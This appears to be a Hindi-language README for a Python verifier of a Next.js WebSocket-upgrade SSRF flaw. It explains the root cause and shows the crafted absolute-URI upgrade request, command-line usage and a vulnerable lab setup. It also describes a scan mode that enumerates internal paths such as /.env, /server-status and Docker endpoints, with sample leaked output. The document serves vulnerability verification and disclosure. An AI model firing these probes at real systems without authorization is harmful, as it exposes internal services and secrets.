
GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF) के लिए OOB verifier
GHSA-c4j6-fc7j-m34r / CVE-2026-44578 के लिए इन-बैंड वेरिफायर — Next.js में WebSocket अपग्रेड अनुरोधों के माध्यम से सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF)।
⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए। आप यह सुनिश्चित करने के लिए ज़िम्मेदार हैं कि आपके पास उस हर टारगेट का परीक्षण करने की अनुमति है जिसे आप इस स्क्रिप्ट को देते हैं।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (उच्च) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| प्रभावित संस्करण | next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5 |
| पैच किए गए संस्करण | 15.5.16, 16.2.5 |
| फिक्स कमिट | c4f69086 |
| प्रभावित नहीं | Vercel-होस्टेड; output: "export"; ऐसी तैनाती जो रिवर्स प्रॉक्सी के पीछे हो और Upgrade को फॉरवर्ड न करे |
एक हमलावर एक सेल्फ-होस्टेड Next.js प्रोसेस के लिए एक TCP कनेक्शन खोलता है और एक HTTP/1.1 WebSocket अपग्रेड भेजता है जिसका request-URI एक एब्सोल्यूट URL है:
GET http://anything/<path> HTTP/1.1
Host: <target>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
resolveRoutes में, URL में // होता है (हर एब्सोल्यूट URI में होता है), जो "normalize repeated slashes" शाखा से मेल खाता है। वह शाखा { finished: true, statusCode: 308, parsedUrl: <mangled> } के साथ जल्दी रिटर्न करती है। नॉर्मलाइज़र http://host/path को http:/host/path (एक स्लैश) में बदल देता है।
router-server.ts में, पैच-पूर्व अपग्रेड हैंडलर finished/statusCode को अनदेखा करता था और केवल parsedUrl.protocol की जाँच करता था। चूँकि प्रोटोकॉल नॉर्मलाइज़ेशन से बच जाता है, यह proxyRequest(...) को कॉल करता था।
फिक्स (कमिट c4f69086) ने अपग्रेड हैंडलर को प्रॉक्सी करने से पहले finished && !statusCode जाँचने के लिए बदल दिया। 308-नॉर्मलाइज़ेशन मामला अब !statusCode जाँच में विफल हो जाता है और इसके बजाय सॉकेट बंद कर दिया जाता है।
प्रॉक्सी कभी भी किसी बाहरी होस्ट तक नहीं पहुँचता। यदि आप एक interactsh / Burp Collaborator / webhook कैनरी सेट करते हैं और उम्मीद करते हैं कि Next प्रोसेस फोन होम करेगा, तो ऐसा नहीं होगा — कनेक्शन टारगेट मशीन के localhost पर जाता है। इसलिए यह वेरिफायर अपग्रेड सॉकेट से पढ़े गए इन-बैंड सिग्नल का उपयोग करता है: एक कमज़ोर सर्वर एक पहचानने योग्य एरर बॉडी लौटाता है, जबकि एक पैच किया हुआ सर्वर कुछ भी नहीं लौटाता।
SSRF टारगेट सीमित है, लेकिन वास्तविक डिप्लॉयमेंट में फिर भी महत्वपूर्ण है:
127.0.0.1:80 या :443 पर बाइंड होते हैं और लोकलहोस्ट-उत्पन्न अनुरोधों पर भरोसा करते हैं।127.0.0.1:80 पर एक्सपोज़्ड Docker सॉकेट (असामान्य लेकिन देखा गया है)।AWS / GCP / Azure मेटाडेटा एंडपॉइंट (169.254.169.254) सीधे पहुँच योग्य नहीं हैं क्योंकि बग डेस्टिनेशन को लोकलहोस्ट पर पिन कर देता है।
प्रत्येक टारगेट के लिए, स्क्रिप्ट एक कच्चा TCP (या TLS) सॉकेट खोलती है, तैयार किया गया अपग्रेड भेजती है, प्रतिक्रिया पढ़ती है, और दो सिग्नल उत्पन्न करती है:
verdict — क्या बग मौजूद है।impact_confirmed — क्या SSRF ने वास्तव में डेटा एक्सफ़िलट्रेट किया (यानी टारगेट के localhost:80/443 पर एक सह-स्थित सेवा ने उत्तर दिया और हमें उसकी प्रतिक्रिया वापस मिली)।जब impact_confirmed सत्य होता है, तो JSON आउटपुट में लीक हुई प्रतिक्रिया से पार्स किए गए upstream_status, upstream_server और upstream_content_type भी शामिल होते हैं (ट्राइएज / रिपोर्ट-लेखन के लिए उपयोगी)।
डिफ़ॉल्ट रूप से, प्रत्येक टारगेट को समान एब्सोल्यूट-URI रिक्वेस्ट लाइन के साथ लेकिन बिना Upgrade हेडर (Connection: close) के एक कंट्रोल प्रोब भी मिलता है। यदि फ्रंट-एंड दोनों प्रोबों को एक जैसी प्रतिक्रिया लौटाता है (स्टेटस लाइन + सहनशीलता के भीतर आकार), तो होस्ट का अपना फ्रंट-एंड स्वयं एब्सोल्यूट-URI रिक्वेस्ट लाइन को अस्वीकार कर रहा है — nginx 400, Apache 400, CDN एज — और SSRF कभी Next तक नहीं पहुँचा। निर्णय घटकर front_end_intercepts हो जाता है और JSON आउटपुट में प्रॉक्सी की प्रतिक्रिया से पार्स किए गए front_end_status और front_end_server शामिल होते हैं ताकि ऑपरेटर पहचान सके कि क्या इंटरसेप्ट कर रहा है।
यह एक वास्तविक-विश्व गलत सकारात्मक (false positive) को समाप्त करता है जो तब देखा गया जब सेल्फ-होस्टेड Next nginx/Apache के पीछे होता है: वे प्रॉक्सी प्रोब की GET http:///x HTTP/1.1 रिक्वेस्ट लाइन को सामान्य 400 के साथ अस्वीकार कर देते हैं, जिसे डिटेक्टर पहले vulnerable_proxy_succeeded के रूप में गलत पढ़ता था। ऑप्ट आउट करने और कच्चे निर्णय देखने के लिए --no-control-probe पास करें।
# single target
python3 verify_ghsa_c4j6.py --target https://app.example.com
# multiple targets via flag repetition
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# from a file (one target per line; '#' for comments)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# from stdin
cat targets.txt | python3 verify_ghsa_c4j6.py
# JSON Lines output for downstream tooling
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# Enumerate co-located services on the target's localhost:80/443 via the bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# Same, with a custom path list
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
--scan SSRF गैजेट के माध्यम से सामान्य पथों की एक अंतर्निहित सूची (Apache/nginx स्टेटस मॉड्यूल, हेल्थ और मेट्रिक्स एंडपॉइंट, Spring Boot Actuator, Go pprof, Docker डेमन एंडपॉइंट, सामान्य एडमिन पैनल, लीकी कॉन्फ़िग फ़ाइलें, Elasticsearch रूट्स, आदि) की जाँच करता है।
डिफ़ॉल्ट रूप से, स्कैन मोड प्रति टारगेट एक अतिरिक्त डिफरेंशियल बेसलाइन प्रोब यादृच्छिक गैर-मौजूद पथ के साथ चलाता है। बाद के प्रोबों को DIFF तभी टैग किया जाता है जब उनका (status, body length) सिग्नेचर बेसलाइन से विचलित होता है — "कुछ नहीं मिला" अपस्ट्रीम से समान 404s को noise के रूप में चिह्नित किया जाता है और हिट गिनती को बढ़ाते नहीं हैं। हर उस प्रोब की रिपोर्ट करने के लिए --no-differential पास करें जो किसी सेवा तक पहुँचा (पुराना व्यवहार)।
आउटपुट प्रति टारगेट समूहीकृत है:
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (53 more 404 'noise' paths suppressed) ...
-> 5 differential hit(s) / 58 probes
-> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4
DIFF पंक्तियाँ वास्तविक हिट हैं — जिन पथों की प्रतिक्रिया यादृच्छिक-पथ बेसलाइन से विचलित हुई (अलग स्टेटस, अलग बॉडी लंबाई)। noise पंक्तियाँ भी किसी HTTP सेवा तक पहुँचीं, लेकिन बेसलाइन के समान उबाऊ प्रतिक्रिया उत्पन्न की — आमतौर पर समान 404s जिनकी ऑपरेटर को परवाह नहीं होती। जब हर प्रोब noise हो और कोई बेसलाइन विचलन न हो, तब भी बग मौजूद है, लेकिन उस होस्ट के localhost:80/443 पर कुछ भी उपयोगी नहीं सुन रहा है।
टारगेट host, host:port, या पूर्ण http(s)://... URL हो सकते हैं।
Burp / mitmproxy / OWASP ZAP में निरीक्षण के लिए सभी प्रोबों को HTTP CONNECT प्रॉक्सी के माध्यम से टनल करें:
# plain HTTP target via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# HTTPS target via Burp (Burp MITMs TLS — need --insecure or install Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# proxy with basic auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128
प्रॉक्सी एक CONNECT host:port देखता है जिसके बाद कच्चा अपग्रेड पेलोड होता है — उपयोगी जब आप चाहते हैं कि Burp SSRF प्रोबों को लॉग/रीप्ले/संशोधित करे।
आप पाँच कमांडों में एक कमज़ोर लैब चला सकते हैं:
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
आउटपुट:
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
[email protected] के साथ दोहराएँ और आपको verdict=likely_patched दिखना चाहिए।
demo_impact.sh Next को :80 पर चलाता है (ताकि इसका लोकलहोस्ट-पिन किया गया SSRF टारगेट स्वयं वही Next प्रोसेस हो) और बग के माध्यम से Next के अपने HTML को वापस पढ़ता है। विशेषाधिकार प्राप्त पोर्ट बाइंड के लिए sudo की आवश्यकता होती है।
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
अपेक्षित आउटपुट IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back के साथ समाप्त होता है।
Upgrade हेडर को फॉरवर्ड नहीं करता, भेद्यता को छिपा देगा; स्क्रिप्ट likely_patched रिपोर्ट करेगी। यदि संभव हो तो सीधे Next प्रोसेस के विरुद्ध पुनः परीक्षण करें।Internal Server Error सैद्धांतिक रूप से किसी अपस्ट्रीम प्रॉक्सी द्वारा स्वयं लौटाई जा सकती है। इसे खारिज करने के लिए, उसी पेलोड को Connection: Upgrade के बजाय Connection: close के साथ पुनः भेजें — एक वास्तविक कमज़ोर Next उस स्थिति में Internal Server Error बॉडी लौटाना बंद कर देता है (अलग कोड पथ)।next start डिफ़ॉल्ट रूप से HTTP/1.1 है।केवल उन्हीं सिस्टमों का परीक्षण करें जिनके आप मालिक हैं या जिनके मूल्यांकन के लिए आपके पास स्पष्ट, लिखित प्राधिकरण है।
MIT
proxyRequest मैंगल किए गए URL पर url.format(parsedUrl) चलाता है, जिससे http:/host:port/path मिलता है। http-proxy उस टारगेट को पार्स करता है, कोई होस्ट नहीं पाता (url.parse('http:/...').host === null), और अपने डिफ़ॉल्ट डेस्टिनेशन पर वापस गिर जाता है: localhost:80 (या https के लिए localhost:443)।
इसलिए व्यवहार में, SSRF आपको हमलावर-नियंत्रित पथ के साथ Next को Next.js होस्ट के अपने localhost:80 / localhost:443 पर WebSocket अपग्रेड खोलने देता है।
| प्रतिक्रिया | निर्णय | impact_confirmed |
|---|
Internal Server Error शामिल है | vulnerable | false — बग सिद्ध हुआ, लेकिन प्रॉक्सी को लोकलहोस्ट पर कुछ नहीं मिला |
HTTP/1. से शुरू होता है | vulnerable_proxy_succeeded | true — वास्तविक प्रतिक्रिया डेटा एक्सफ़िलट्रेट हुआ |
| खाली / स्वच्छ समापन | likely_patched | false — "Next नहीं", "रिवर्स प्रॉक्सी ने Upgrade हटा दिया", "Vercel" को भी कवर करता है |
| बिना-Upgrade नियंत्रण के समान | front_end_intercepts | false — फ्रंट-एंड प्रॉक्सी ने दोनों प्रोबों को शॉर्ट-सर्किट कर दिया; SSRF कभी Next तक नहीं पहुँचा |
| कुछ और | inconclusive | false |
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|
--target URL | एक एकल टारगेट। एकाधिक के लिए दोहराएँ। | — |
--targets-file PATH | फ़ाइल जिसमें प्रति पंक्ति एक टारगेट हो। | — |
--probe-path PATH | तैयार किए गए एब्सोल्यूट URI में उपयोग किया जाने वाला पथ। टारगेट की लोकलहोस्ट सेवा तक इस पथ पर पहुँचता है (प्रति-टारगेट टोकन सफ़िक्स पर लॉग किया जाता है)। | /x |
--scan | प्रत्येक टारगेट की लोकलहोस्ट सेवा पर सामान्य पथों की गणना करें। प्रति टारगेट एक डिफरेंशियल-बेसलाइन प्रोब और पथ सूची भेजता है। | बंद |
--scan-paths-file PATH | स्कैन मोड के लिए कस्टम पथ सूची (प्रति पंक्ति एक)। --scan को दर्शाता है। | अंतर्निहित |
--no-differential | --scan मोड में, बेसलाइन प्रोब छोड़ें और हर उस प्रोब की रिपोर्ट करें जो किसी सेवा तक पहुँचा (पुराना व्यवहार)। | बंद |
--no-control-probe | फ्रंट-एंड शॉर्ट-सर्किट गार्ड अक्षम करें (प्रति टारगेट अतिरिक्त बिना-Upgrade प्रोब)। तब उपयोगी जब टारगेट सख्ती से सीधे Next प्रोसेस होने के लिए जाने जाते हैं। | बंद |
--timeout SEC | प्रति-सॉकेट टाइमआउट। | 5 |
--concurrency N | समानांतर प्रोब। | 10 |
--insecure | TLS प्रमाणपत्र सत्यापन छोड़ें। TLS को MITM करते समय --proxy के साथ आवश्यक। | बंद |
--proxy URL | HTTP CONNECT प्रॉक्सी (Burp / mitmproxy / ZAP) के माध्यम से टनल करें। http://user:pass@host:port के माध्यम से बेसिक ऑथ सपोर्ट करता है। TLS टारगेट के लिए Python 3.11+ आवश्यक है। | सीधा |
--json | मानव-पठनीय टेक्स्ट के बजाय JSON Lines उत्सर्जित करें। | बंद |